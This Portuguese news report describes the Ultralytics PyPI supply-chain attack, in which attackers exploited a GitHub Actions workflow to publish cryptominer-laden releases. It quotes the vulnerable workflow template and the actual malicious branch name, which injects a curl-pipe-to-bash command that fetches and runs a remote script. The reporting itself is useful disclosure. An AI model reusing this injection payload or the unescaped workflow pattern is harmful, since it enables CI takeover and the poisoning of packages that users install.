Os invasores conseguiram executar código com os direitos do manipulador do GitHub Actions no repositório da biblioteca Python Ultralytics, utilizada para resolver problemas de visão computacional, como a detecção de objetos em imagens e a segmentação de imagens. Após obter acesso ao repositório, os atacantes publicaram no diretório PyPI várias novas versões do Ultralytics, incluindo alterações maliciosas para mineração de criptomoedas. No último mês, a biblioteca Ultralytics foi baixada do diretório PyPI mais de 6,4 milhões de vezes.
Para comprometer o repositório, foi explorada uma vulnerabilidade no pacote ultralytics-actions, utilizado para acionar automaticamente manipuladores ao realizar determinadas ações com o repositório no GitHub, usando o mecanismo GitHub Actions. No projeto ultralytics, o manipulador vulnerável estava vinculado ao evento pull_request_target e era acionado quando novos pull requests eram recebidos. Em particular, para formatar o código nos pull requests enviados, o manipulador format.yml era chamado e executava o código especificado na seção "run" do arquivo action.yml, que continha comandos shell com templates de substituição: git pull origin ${{ github.head_ref || github.ref }} git config —global user.name "${{ inputs.github_username }}" git config —global user.email "${{ inputs.github_email }}"
Assim, o nome da branch Git mencionado no pull request era inserido nos comandos shell sem o devido escape. É notável que, em agosto, uma vulnerabilidade semelhante relacionada ao uso de um valor externo na função echo já havia sido corrigida no pacote ultralytics-actions: echo "github.event.pull_request.head.ref: ${{ github.event.pull_request.head.ref }}"
Para executar seu código no contexto do manipulador GitHub Actions, os atacantes enviaram um pull request ao repositório ultralytics, especificando como nome da branch: openimbot:$({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash)
Consequentemente, ao receber o pull request, a string criada pelos atacantes "$(…)" foi inserida no código, que, ao ser executado pelo manipulador, resultou na execução do código "curl -sSfL raw.githubusercontent.com/…/file.sh | bash".

A execução de código no contexto das GitHub Actions pode ser usada para capturar o token de acesso ao repositório e outros dados confidenciais. Não está claro exatamente como os atacantes conseguiram gerar uma versão, obtendo a capacidade de executar seu próprio código nas GitHub Actions; supõe-se que isso foi possível devido à modificação do manipulador publish.yml (os atacantes removeram a verificação da conta autorizada a publicar versões no PyPI) e ao uso de técnicas de envenenamento do cache de construção das GitHub Actions para inserir seus próprios dados na versão.
A primeira versão maliciosa Ultralytics 8.3.41 foi publicada por criminosos no repositório PyPI no dia 4 de dezembro às 23:51 (MSK) e removida no dia seguinte às 12:15. Às 15:47, outra versão 8.3.42 foi lançada, que foi removida às 16:47. Assim, as versões maliciosas estiveram disponíveis para download por cerca de 13 horas (em um dia, o PyPI registra aproximadamente 250 mil downloads da biblioteca ultralytics). As versões 8.3.41 e 8.3.42 continham código que realizava o download de componente externo servidor XMRig para mineração de criptomoedas.
Os desenvolvedores do projeto resolveram o problema e geraram versões corretivas 8.3.43 e 8.3.44, mas após dois dias, ocorreu outro ataque, durante o qual os criminosos publicaram hoje às 04:41 e 05:27 (MSK) duas versões maliciosas adicionais — 8.3.45 e 8.3.46, que incluem outro código para mineração. Até que a investigação seja concluída, recomenda-se que os usuários evitem instalar novas versões e fixem a versão 8.3.44 nas dependências.
Fonte: opennet.ru
